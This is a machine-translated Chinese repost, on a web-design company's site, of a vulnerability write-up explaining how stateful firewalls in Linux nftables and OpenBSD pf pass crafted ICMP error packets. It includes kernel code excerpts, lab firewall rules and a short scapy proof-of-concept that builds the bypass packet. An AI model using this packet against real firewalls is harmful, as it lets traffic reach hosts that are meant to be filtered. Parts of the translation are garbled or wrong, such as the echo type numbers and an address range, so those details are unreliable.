如何繞過防火墻過濾規(guī)則傳輸ICMP

如何繞過防火墻過濾規(guī)則傳輸ICMP,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

創(chuàng)新互聯(lián)公司公司2013年成立,是專業(yè)互聯(lián)網(wǎng)技術(shù)服務(wù)公司,擁有項(xiàng)目網(wǎng)站設(shè)計(jì)、網(wǎng)站制作網(wǎng)站策劃,項(xiàng)目實(shí)施與項(xiàng)目整合能力。我們以讓每一個(gè)夢(mèng)想脫穎而出為使命,1280元延慶做網(wǎng)站,已為上家服務(wù),為延慶各地企業(yè)和個(gè)人服務(wù),聯(lián)系電話:028-86922220

ICMP和ICMPv6

ICMP和ICMPv6是Internet的主要協(xié)議。這些協(xié)議設(shè)計(jì)用于在數(shù)據(jù)包未到達(dá)目的地時(shí)進(jìn)行連接測(cè)試和錯(cuò)誤信令。接收ICMP消息讓應(yīng)用程序了解故障原因:數(shù)據(jù)包太大,沒有可用路由等。

ICMP消息

出于不同的目的,ICMP [v6]消息由兩個(gè)編碼為兩個(gè)字節(jié)的值標(biāo)識(shí):它們的類型和代碼。每種類型都有不同的含義,例如,ICMP有以下消息:

1.Echo回復(fù)和請(qǐng)求(類型1和8)

2.目的地?zé)o法到達(dá)(類型3)

3.Source quench(4型)

4.時(shí)間戳回復(fù)和請(qǐng)求(類型14和15)

當(dāng)ICMPv6具有:

1.目的地?zé)o法到達(dá)(類型1)

2.數(shù)據(jù)包太大(類型2)

3.超過時(shí)間(類型3)

4.參數(shù)問題(類型4)

5.路由器詢問和通告(133和134型)

6.鄰居詢問和通告(135和136型)

過去已棄用各種消息類型,而其他消息類型仍在使用中。我們可以根據(jù)其目的大致將ICMP消息分為三類:

1.請(qǐng)求:它們由主機(jī)生成以查詢某些信息;

2.回復(fù):它們是上述ICMP請(qǐng)求的ICMP響應(yīng);

3.錯(cuò)誤:它們是由網(wǎng)絡(luò)設(shè)備或主機(jī)在無法處理數(shù)據(jù)包時(shí)創(chuàng)建的。

本文重點(diǎn)介紹錯(cuò)誤消息。這個(gè)類別非常有趣,因?yàn)樗南⒆鳛閹饬髁堪l(fā)送,以響應(yīng)另一個(gè)協(xié)議的第4層通信。

例如,UDP分組可能生成ICMP錯(cuò)誤。這些錯(cuò)誤通常封裝在ICMP有效負(fù)載,IP報(bào)頭加上違規(guī)數(shù)據(jù)包的下一個(gè)64字節(jié)內(nèi)。圖1顯示了主機(jī)B拒絕封閉端口上的數(shù)據(jù)包的這種行為:

如何繞過防火墻過濾規(guī)則傳輸ICMP

已知的攻擊和措施

作為信令協(xié)議,ICMP消息可以改變接收系統(tǒng)的IP棧的行為。例如,ICMP Redirect和ICMPv6 Router通告可以改變主機(jī)的路由表。

惡意用戶可能濫用ICMP來中斷網(wǎng)絡(luò)操作。過去已記錄了與ICMP相關(guān)的各種攻擊:

1.ICMP打孔[1]是借助ICMP消息遍歷NAT的概念。它要求發(fā)起者在NAT后面;

2.ICMP隧道[2]濫用ICMP協(xié)議將任意數(shù)據(jù)封裝在ICMP消息之上;

3.ICMP ECHO放大[3]使用廣播執(zhí)行DoS;

4.通過攻擊MTU發(fā)現(xiàn)過程或分組擁塞[4] [5] [6]信令可以減慢網(wǎng)絡(luò)流量;

5.ICMPv6 NDP攻擊[7](類似于IPv4世界中的ARP攻擊);

6.ICMPv6 MLD發(fā)現(xiàn)+ DoS [8](類似于IGMP攻擊)。

通過正確配置操作系統(tǒng)的IP堆棧,可以減輕大多數(shù)這些風(fēng)險(xiǎn)。有趣的是,可以在不使用操作系統(tǒng)防火墻功能的情況下啟用各種ICMP保護(hù)(例如:sysctl,netsh,...)。

在Linux上使用sysctl的示例:

# sysctl -a -r '^net\.ipv[46]\.(icmp|conf\.default\.accept)' | cut -d= -f1
net.ipv4.conf.default.accept_local
net.ipv4.conf.default.accept_redirects
net.ipv4.conf.default.accept_source_route
net.ipv4.icmp_echo_ignore_all
net.ipv4.icmp_echo_ignore_broadcasts
net.ipv4.icmp_errors_use_inbound_ifaddr
net.ipv4.icmp_ignore_bogus_error_responses
net.ipv4.icmp_msgs_burst
net.ipv4.icmp_msgs_per_sec
net.ipv4.icmp_ratelimit
net.ipv4.icmp_ratemask
net.ipv6.conf.default.accept_dad
net.ipv6.conf.default.accept_ra
net.ipv6.conf.default.accept_ra_defrtr
net.ipv6.conf.default.accept_ra_from_local
...
net.ipv6.conf.default.accept_redirects
net.ipv6.conf.default.accept_source_route
net.ipv6.icmp.ratelimit

在理想情況下,危險(xiǎn)的ICMP消息應(yīng)該被每個(gè)主機(jī)的IP堆棧阻止,而不需要防火墻。實(shí)際上,安全加固通常由WAN和受限LAN之間的防火墻實(shí)現(xiàn)。這里有一個(gè)問題:如何過濾ICMP和ICMPv6?

如何過濾ICMP?

RFC推薦的內(nèi)容

在過濾ICMP消息時(shí),阻止所有消息類型是不可能的。它會(huì)降低整體用戶體驗(yàn)。例如,阻止“數(shù)據(jù)包太大”實(shí)際上可以完全阻止IPv6工作,并可能嚴(yán)重降低IPv4的性能。

RFC4890 [10](2007)說在第4.3.1章中允許ICMPv6錯(cuò)誤消息。不得丟棄的流量:

對(duì)建立和建設(shè)至關(guān)重要的錯(cuò)誤消息

通訊維護(hù):

- 目的地?zé)o法到達(dá)(類型1) - 所有代碼

- 數(shù)據(jù)包太大(類型2)

- 超過時(shí)間(類型3) - 僅代碼0

- 參數(shù)問題(類型4) - 僅代碼1和2

(過期)草案“過濾ICMP消息的建議”[9](2013)提供了兩個(gè)表,總結(jié)了當(dāng)設(shè)備充當(dāng)網(wǎng)關(guān)或防火墻時(shí)應(yīng)接受,限速或拒絕哪些ICMP和ICMPv6消息。草案建議允許(接受或限制)以下消息:

1.ICMPv4-unreach-(net|host|frag-needed|admin);

2.ICMPv4-timed-(ttl|reass);

3.的ICMPv6-unreach-(no-route|admin-prohibited|addr|port|reject-route);

4.ICMPv6的太大;

5.的ICMPv6-timed-(hop-limit|reass);

6.ICMPv6的參數(shù) - UNREC選項(xiàng);

7.ICMPv6-ERR-擴(kuò)大。

似乎人們對(duì)什么是安全的ICMP流量有不同的看法。通常認(rèn)為防火墻應(yīng)該阻止來自WAN的所有入站ICMP和ICMPv6數(shù)據(jù)包(NDP除外),除非它們與已知的現(xiàn)有連接相關(guān),可以通過狀態(tài)防火墻進(jìn)行跟蹤。

防火墻狀態(tài)和相關(guān)流量

事實(shí)上,狀態(tài)防火墻實(shí)現(xiàn)了相關(guān)數(shù)據(jù)包的概念。這些相關(guān)數(shù)據(jù)包是與附加到現(xiàn)有連接的帶外流量匹配的數(shù)據(jù)包。在相關(guān)概念被用于與ICMP而且還與其他協(xié)議,例如FTP,其可以使用輔助TCP流。

關(guān)于ICMP,帶內(nèi)和帶外流量之間的關(guān)聯(lián)是通過從封裝在ICMP錯(cuò)誤消息中的IP分組中提取“狀態(tài)標(biāo)識(shí)符”來完成的。如果連接已知,則此標(biāo)識(shí)符用于在表中查找。

為了說明這個(gè)概念,讓我們考慮以下示例。在一個(gè)簡單的網(wǎng)絡(luò)中,我們希望只允許LAN上的主機(jī)通過端口1234上的UDP與WAN上的任何主機(jī)聯(lián)系。但我們?nèi)匀幌M鸄接收帶外錯(cuò)誤。在這種情況下,將使用以下高級(jí)防火墻配置:

1.允許從LAN到WAN udp端口1234的輸入;

2.如果數(shù)據(jù)包與現(xiàn)有的允許連接相關(guān),則允許從WAN到LAN的輸入;

3.阻止所有。

傳出的帶內(nèi)UDP流量將匹配規(guī)則:

1.進(jìn)入的帶外ICMP錯(cuò)誤消息將匹配規(guī)則;

2.如圖2所示,并且任何其他數(shù)據(jù)包將被規(guī)則3拒絕。

如何繞過防火墻過濾規(guī)則傳輸ICMP

實(shí)際上,防火墻配置的語義不同,并且規(guī)則2在某些實(shí)現(xiàn)中可能是隱含的。

什么是連接狀態(tài)?

到目前為止,我們知道狀態(tài)防火墻從ICMP(或ICMPv6)錯(cuò)誤中推斷出狀態(tài)。但剩下的問題是,哪些信息實(shí)際上是從內(nèi)部IP數(shù)據(jù)包中提取的?

由于第4層協(xié)議具有不同的語義,每個(gè)協(xié)議都有自己的提取器,但我們?cè)诎^濾器和nftables衍生物中觀察到以下內(nèi)容:

對(duì)于TCP,以下字段用于構(gòu)造狀態(tài):

1.內(nèi)部IP源和目的地;

2.內(nèi)部源和目標(biāo)端口;

3.SEQ和ACK字段僅用于包過濾器,但不用于nftables。

對(duì)于UDP,以下字段用于構(gòu)造狀態(tài):

1.內(nèi)部IP源和目的地;

2.內(nèi)部源和目標(biāo)端口。

對(duì)于ICMP,以下字段用于構(gòu)造狀態(tài):

1.內(nèi)部IP源和目的地;

2.各種ICMP字段取決于類型。

對(duì)于其他協(xié)議

1.內(nèi)部IP源和目的地;

2.協(xié)議的id;

3.如果防火墻支持它們,則將使用協(xié)議提供的屬性(例如:SCTP或UDP-Lite端口)(nftables可以,Packet Filter不能)。

快速回顧一下

總而言之,當(dāng)防火墻收到帶外ICMP錯(cuò)誤時(shí),它會(huì)執(zhí)行以下操作:

1.解碼IP / ICMP或IPv6 / ICMPv6標(biāo)頭;

2.從封裝的IP或IPv6數(shù)據(jù)包中提取狀態(tài);

3.嘗試匹配現(xiàn)有狀態(tài)列表中的“狀態(tài)標(biāo)識(shí)符”;

4.如果內(nèi)部IP數(shù)據(jù)包狀態(tài)與現(xiàn)有狀態(tài)匹配,則將數(shù)據(jù)包標(biāo)記為 相關(guān)。

ICMP-可達(dá)

問題

我們發(fā)現(xiàn),當(dāng)提取內(nèi)部數(shù)據(jù)包以找到狀態(tài)時(shí),與外部數(shù)據(jù)包的相關(guān)性將丟失。這意味著,只要封裝的數(shù)據(jù)包可以與現(xiàn)有連接相關(guān),整個(gè)數(shù)據(jù)包就會(huì)被標(biāo)記為相關(guān)。然后,在大多數(shù)情況下允許該數(shù)據(jù)包通過。

使用惡意制作的ICMP [v6]數(shù)據(jù)包可以濫用此行為,該數(shù)據(jù)包以過濾的主機(jī)為目標(biāo),同時(shí)封裝符合合法狀態(tài)的數(shù)據(jù)包,如下所示:

ICMP-Reachable packet:

[ IP src=@M dst=@H type=ICMP ]
[ ICMP type=@Type code=@Code ]
[ IP src=@B dst=@A ]
[ UDP sport=@Pb dport=Pa ]

M: the attacker IP
H: the destination IP on which ICMP should be filtered
A: host IP from which the attacker knows an existing session with B
B: host IP from which the attacker knows an existing session with A
Pa: the port used by A its UDP session with B
Pb: the port used by B its UDP session with A
Type: the ICMP type of an out-of-band error packet (example 3)
Code: the ICMP code of an out-of-band error packet (example 3)

在這種情況下,將允許惡意ICMP [v6]數(shù)據(jù)包通過。nftables和Packet Filter實(shí)現(xiàn)都受此行為的影響。

如何繞過防火墻過濾規(guī)則傳輸ICMP

接下來的章節(jié)將介紹Linux和OpenBSD的實(shí)現(xiàn)細(xì)節(jié),以了解相關(guān)性丟失的位置。

NFTABLES實(shí)施和細(xì)節(jié)

Linux在netfilter conntrack模塊中實(shí)現(xiàn)了相關(guān)數(shù)據(jù)包的概念。

它在netfilter/nf_conntrack_core.c中以函數(shù)nf_conntrack_in開始,該函數(shù)處理在參數(shù)skb中傳遞的每個(gè)輸入數(shù)據(jù)包。在nf_conntrack_handle_icmp中處理第4層協(xié)議和ICMP和ICMPv6的提取。

unsigned int
nf_conntrack_in(struct sk_buff *skb, const struct nf_hook_state *state)
{
   // ..

   l4proto = __nf_ct_l4proto_find(protonum);

   if (protonum == IPPROTO_ICMP || protonum == IPPROTO_ICMPV6) {
       ret = nf_conntrack_handle_icmp(tmpl, skb, dataoff,
                          protonum, state);
       if (ret <= 0) {
           ret = -ret;
           goto out;
       }
       /* ICMP[v6] protocol trackers may assign one conntrack. */
       if (skb->_nfct)
           goto out;
   }
   // ...
}

nf_conntrack_handle_icmp然后根據(jù)ICMP的版本調(diào)用nf_conntrack_icmpv4_error()或nf_conntrack_icmpv6_error()。這些功能非常相似,所以讓我們關(guān)注ICMP。

如果類型是以下類型之一,則nf_conntrack_icmpv4_error驗(yàn)證ICMP標(biāo)頭并調(diào)用icmp_error_message:ICMP_DEST_UNREACH,ICMP_PARAMETERPROB,ICMP_REDIRECT,ICMP_SOURCE_QUENCH,ICMP_TIME_EXCEEDED:

/* Small and modified version of icmp_rcv */
int nf_conntrack_icmpv4_error(struct nf_conn *tmpl,
                 struct sk_buff *skb, unsigned int dataoff,
                 const struct nf_hook_state *state)
{
   const struct icmphdr *icmph;
   struct icmphdr _ih;

   /* Not enough header? */
   icmph = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_ih), &_ih);
   if (icmph == NULL) {
       icmp_error_log(skb, state, "short packet");
       return -NF_ACCEPT;
   }

   // ...

   if (icmph->type > NR_ICMP_TYPES) {
       icmp_error_log(skb, state, "invalid icmp type");
       return -NF_ACCEPT;
   }

   /* Need to track icmp error message? */
   if (icmph->type != ICMP_DEST_UNREACH &&
       icmph->type != ICMP_SOURCE_QUENCH &&
       icmph->type != ICMP_TIME_EXCEEDED &&
       icmph->type != ICMP_PARAMETERPROB &&
       icmph->type != ICMP_REDIRECT)
       return NF_ACCEPT;

   return icmp_error_message(tmpl, skb, state);
}

然后icmp_error_message負(fù)責(zé)提取和識(shí)別匹配狀態(tài):

/* Returns conntrack if it dealt with ICMP, and filled in skb fields */
static int
icmp_error_message(struct nf_conn *tmpl, struct sk_buff *skb,
                  const struct nf_hook_state *state)
{
   // ...

   WARN_ON(skb_nfct(skb));
   zone = nf_ct_zone_tmpl(tmpl, skb, &tmp);

   /* Are they talking about one of our connections? */
   if (!nf_ct_get_tuplepr(skb,
                  skb_network_offset(skb) + ip_hdrlen(skb)
                              + sizeof(struct icmphdr),
                  PF_INET, state->net, &origtuple)) {
       pr_debug("icmp_error_message: failed to get tuple\n");
       return -NF_ACCEPT;
   }

   /* rcu_read_lock()ed by nf_hook_thresh */
   innerproto = __nf_ct_l4proto_find(origtuple.dst.protonum);

   /* Ordinarily, we'd expect the inverted tupleproto, but it's
      been preserved inside the ICMP. */
   if (!nf_ct_invert_tuple(&innertuple, &origtuple, innerproto)) {
       pr_debug("icmp_error_message: no match\n");
       return -NF_ACCEPT;
   }

   ctinfo = IP_CT_RELATED;

   h = nf_conntrack_find_get(state->net, zone, &innertuple);
   if (!h) {
        pr_debug("icmp_error_message: no match\n");
       return -NF_ACCEPT;
   }

   if (NF_CT_DIRECTION(h) == IP_CT_DIR_REPLY)
       ctinfo += IP_CT_IS_REPLY;

   /* Update skb to refer to this connection */
   nf_ct_set(skb, nf_ct_tuplehash_to_ctrack(h), ctinfo);
   return NF_ACCEPT;
}

1.首先,使用nf_ct_zone_tmpl計(jì)算分組skb的網(wǎng)絡(luò)區(qū)域。nftables有網(wǎng)絡(luò)conntrack區(qū)域的概念。這些區(qū)域允許虛擬化連接跟蹤,以便在conntrack和NAT中處理具有相同身份的多個(gè)連接。除非有明確的規(guī)則要求,否則所有數(shù)據(jù)包都將進(jìn)入0區(qū)(參見目標(biāo)CT的手冊(cè)頁);

2.然后nf_ct_get_tuplepr用于從ICMP層內(nèi)的IP數(shù)據(jù)報(bào)中提取ip連接狀態(tài) origtuple;

3.nf_ct_invert_tuple執(zhí)行狀態(tài)的源/目標(biāo)交換,因?yàn)樗迷汲稣緮?shù)據(jù)包但防火墻想要檢查入站數(shù)據(jù)包;

4.nf_conntrack_find_get查找與提取的狀態(tài)匹配的已知狀態(tài)。此時(shí)我們看到外層IP層未被考慮用于查找狀態(tài);

5.如果找到狀態(tài),則nf_ct_set標(biāo)記具有相關(guān)狀態(tài)(IP_CT_RELATED)的sbk數(shù)據(jù)包。

對(duì)于ICMPv6,我們對(duì)類型小于128的消息有類似的實(shí)現(xiàn)。

包過濾器實(shí)現(xiàn)和細(xì)節(jié)

在包過濾器中,相關(guān)的概念實(shí)際上是隱含的,并且在狀態(tài)的概念下實(shí)現(xiàn)。包過濾的總體設(shè)計(jì)如下:

數(shù)據(jù)包可以與狀態(tài)相關(guān)聯(lián)嗎?

1.如果是,則允許數(shù)據(jù)包通過;

2.如果不是,則根據(jù)過濾規(guī)則測(cè)試分組。如果匹配規(guī)則允許數(shù)據(jù)包通過,則可能會(huì)創(chuàng)建狀態(tài)。

整個(gè)邏輯在/sys/net/pf.c中的函數(shù)pf_test中實(shí)現(xiàn)。下一個(gè)摘錄顯示了ICMP的這種處理[v6](為了清楚起見,部分代碼已被剝離):

pf_test(sa_family_t af, int fwdir, struct ifnet *ifp, struct mbuf **m0)
{
   // ...
   switch (pd.virtual_proto) {

   case IPPROTO_ICMP: {
       // look for a known state
       action = pf_test_state_icmp(&pd, &s, &reason);
       s = pf_state_ref(s);

       if (action == PF_PASS || action == PF_AFRT) {
           // if a valid state is found the packet might go there
           // without being tested against the filtering rules
           r = s->rule.ptr;
           a = s->anchor.ptr;
           pd.pflog |= s->log;

       } else if (s == NULL) {
           // if no state is found the packet is tested
           action = pf_test_rule(&pd, &r, &s, &a, &ruleset, &reason);
           s = pf_state_ref(s);
       }
       break;
   }

   case IPPROTO_ICMPV6: {
       // look for a known state
       action = pf_test_state_icmp(&pd, &s, &reason);
       s = pf_state_ref(s);

       if (action == PF_PASS || action == PF_AFRT) {
           // if a valid state is found the packet might go there
           // without being tested against the filtering rules
           r = s->rule.ptr;
           a = s->anchor.ptr;
           pd.pflog |= s->log;
       } else if (s == NULL) {
           // if no state is found the packet is tested
           action = pf_test_rule(&pd, &r, &s, &a, &ruleset, &reason);
           s = pf_state_ref(s);
       }
       break;
   }

   // ...
}

pf_test_state_icmp()是嘗試查找此數(shù)據(jù)包與已知連接之間關(guān)系的函數(shù)。它使用對(duì)pf_icmp_mapping()的調(diào)用來了解數(shù)據(jù)包是帶內(nèi)還是帶外。在后一種情況下,提取內(nèi)部IP分組及其第4層協(xié)議以找到狀態(tài)。這在以下摘錄中顯示:

int pf_test_state_icmp(struct pf_pdesc *pd, struct pf_state **state, u_short *reason) {
   // ...

   if (pf_icmp_mapping(pd, icmptype, &icmp_dir, &virtual_id, &virtual_type) == 0) { // <-- 1
       /*
        * ICMP query/reply message not related to a TCP/UDP packet.
        * Search for an ICMP state.
        */

       // ...
   } else { // <-- 2
       /*
        * ICMP error message in response to a TCP/UDP packet.
        * Extract the inner TCP/UDP header and search for that state.
        */

       switch (pd->af) {
       case AF_INET: // <-- 3
           if (!pf_pull_hdr(pd2.m, ipoff2, &h3, sizeof(h3), NULL, reason, pd2.af)))
           { /* ... */ }

       case AF_INET6: // <-- 4
           if (!pf_pull_hdr(pd2.m, ipoff2, &h3_6, sizeof(h3_6), NULL, reason, pd2.af))
           { /* ... */ }
           // ...

       switch (pd2.proto) {
       case IPPROTO_TCP: {
           struct tcphdr *th = &pd2.hdr.tcp;
           // ...
           if (!pf_pull_hdr(pd2.m, pd2.off, th, 8, NULL, reason, pd2.af)) { // <-- 5
               // ...
           }
           key.af = pd2.af; // <-- 6
           key.proto = IPPROTO_TCP;
           key.rdomain = pd2.rdomain;
           PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af);
           PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af);
           key.port[pd2.sidx] = th->th_sport;
           key.port[pd2.didx] = th->th_dport;

           action = pf_find_state(&pd2, &key, state); // <-- 7
           if (action != PF_MATCH)
               return (action);

           // ...

           break;
       }
       case IPPROTO_UDP: {
           struct udphdr *uh = &pd2.hdr.udp;
           int action;
           if (!pf_pull_hdr(pd2.m, pd2.off, uh, sizeof(*uh), NULL, reason, pd2.af)) { // <-- 8
               // ...
           }

           key.af = pd2.af; // <-- 9
           key.proto = IPPROTO_UDP;
           key.rdomain = pd2.rdomain;
           PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af);
           PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af);
           key.port[pd2.sidx] = uh->uh_sport;
           key.port[pd2.didx] = uh->uh_dport;

           action = pf_find_state(&pd2, &key, state); // <-- 10
           if (action != PF_MATCH)
               return (action);
           break;
       }
       case IPPROTO_ICMP: {
           // ...
           break;
       }
       case IPPROTO_ICMPV6: {
           // ...
           break;
       }

       default: { // <-- 11
           int action;
           key.af = pd2.af;
           key.proto = pd2.proto;
           key.rdomain = pd2.rdomain;
           PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af);
           PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af);
           key.port[0] = key.port[1] = 0;
           action = pf_find_state(&pd2, &key, state);
           // ...
           break;
       }
   }

1.pf_icmp_mapping()確定是否應(yīng)該提取內(nèi)部數(shù)據(jù)包。如果是,則繼續(xù)執(zhí)行。

2.此時(shí)僅針對(duì)以下數(shù)據(jù)包繼續(xù)執(zhí)行:

1.IPv4上的ICMP_UNREACH;2.IPv4上的ICMP_SOURCEQUENCH;3.IPv4上的ICMP_REDIRECT;4.IPv4上的ICMP_TIMXCEED;5.IPv4上的ICMP_PARAMPROB;6.IPv6的ICMP6_DST_UNREACH;7.IPv6上的ICMP6_PACKET_TOO_BIG;8.IPv6上的ICMP6_TIME_EXCEEDED;9.IPv6上的ICMP6_PARAM_PROB。

3和4:根據(jù)版本提取IP頭;

5和8:提取UDP或TCP的標(biāo)題;

6和9:初始化查找密鑰,而不考慮上層IP分組;

7和10:執(zhí)行狀態(tài)查找,如果發(fā)現(xiàn)狀態(tài),則函數(shù)可以返回PF_PASS,允許數(shù)據(jù)包通過。

poc

為了演示攻擊,我們將考慮具有4個(gè)主機(jī),兩個(gè)子網(wǎng),LAN和WAN以及中間防火墻的網(wǎng)絡(luò)的簡單情況。我們將使用Linux nftables和OpenBSD Packet Filter作為防火墻來測(cè)試場(chǎng)景。虛擬機(jī)或真實(shí)虛擬機(jī)可用于設(shè)置環(huán)境。請(qǐng)注意,IP范圍或系列與問題無關(guān),只有NAT可以影響可利用性,這將在下一部分中討論。

免責(zé)聲明2:我們被告知我們?cè)趯?shí)驗(yàn)中使用了真正的IP前綴,最好使用那些用于文檔的前綴。

1.1.0.0.0/8下的WAN是一個(gè)不受信任的網(wǎng)絡(luò);

2.在2.0.0.0/24下的局域網(wǎng)是一個(gè)受信任的網(wǎng)絡(luò),其訪問必須由防火墻過濾;

3.M,WAN上的攻擊者,IP 1.0.0.10;

4.A,WAN上的主機(jī),IP 1.0.0.11;

5.H,局域網(wǎng)上的敏感服務(wù)器,IP 2.0.0.10;

6.B,LAN上的主機(jī),IP 2.0.0.11;

7.F,WAN與LAN之間的防火墻,IP 1.0.0.2和2.0.0.2。

如何繞過防火墻過濾規(guī)則傳輸ICMP

我們將考慮端口53和1234上從A到B建立的會(huì)話UDP。攻擊者必須知道這些會(huì)話參數(shù),這不是后面討論的強(qiáng)假設(shè)。

防火墻配置應(yīng)該:

1.阻止所有來自WAN的ICMP到LAN;

2.允許ICMP從LAN到WAN;

3.允許A和B之間的UDP連接;

4.阻止其他一切。

在這些條件下,我們預(yù)計(jì)攻擊者無法向H發(fā)送單個(gè)ICMP [v6]數(shù)據(jù)包。

對(duì)于Linux實(shí)驗(yàn),防火墻配置如下(使用命令nft也可以這樣做):

#iptables -P INPUT DROP
#iptables -P FORWARD DROP
#iptables -P OUTPUT DROP
#iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
#iptables -A FORWARD -i if-wan -o if-lan -p udp --dport 53 -j ACCEPT

對(duì)于OpenBSD實(shí)驗(yàn),防火墻配置如下:

# em0 is on the WAN
# em1 is on the LAN

block all

# explicitly block icmp from the WAN to the LAN
block in on em0 proto icmp

# allow icmp from the lan to both the WAN and LAN
pass in  on em1 inet proto icmp from em1:network
pass out on em1 inet proto icmp from em1:network
pass out on em0 inet proto icmp from em1:network

# allow udp to B
pass in  on em0 proto udp to b port 53
pass out on em1 proto udp to b port 53
pass in  on em1 proto udp from b port 53
pass out on em0 proto udp from b port 53

在B上模擬UDP服務(wù):

(B) $ nc -n -u -l 53

對(duì)于A,建立連接:

(A) $ nc -u -n -p 1234 2.0.0.11 53
TEST

我們可以檢查從M到H的入站ICMP是否被過濾:

(M) $ ping -c 1 2.0.0.10 -W2

PING 2.0.0.10 (2.0.0.10) 56(84) bytes of data.
--- 2.0.0.10 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

現(xiàn)在我們將使用以下使用精彩scapy庫的python腳本:

from scapy.all import *
M = "1.0.0.10" # attacker
H = "2.0.0.10" # protected server
A = "1.0.0.11"
B = "2.0.0.11"
Pa = 1234
Pb = 53

icmp_reachable = IP(src=M, dst=H) / \
                ICMP(type=3, code=3) / \
                IP(src=B, dst=A) / \
                UDP(sport=Pb, dport=Pa)
send(icmp_reachable)

在Linux和OpenBSD情況下,網(wǎng)絡(luò)捕獲顯示ICMP數(shù)據(jù)包由防火墻轉(zhuǎn)發(fā)到H并從一個(gè)接口傳遞到另一個(gè)接口。

如何繞過防火墻過濾規(guī)則傳輸ICMP

Wireshark捕獲顯示第二個(gè)ICMP消息從一個(gè)接口轉(zhuǎn)到另一個(gè)接口。因此,無論過濾規(guī)則如何,攻擊者都能夠?qū)?shù)據(jù)包發(fā)送到正常過濾的主機(jī)H。

看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝您對(duì)創(chuàng)新互聯(lián)的支持。

名稱欄目:如何繞過防火墻過濾規(guī)則傳輸ICMP
URL地址:http://bm7419.com/article12/ipopdc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供商城網(wǎng)站、網(wǎng)站內(nèi)鏈、企業(yè)網(wǎng)站制作、用戶體驗(yàn)、網(wǎng)站導(dǎo)航、品牌網(wǎng)站制作

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

外貿(mào)網(wǎng)站制作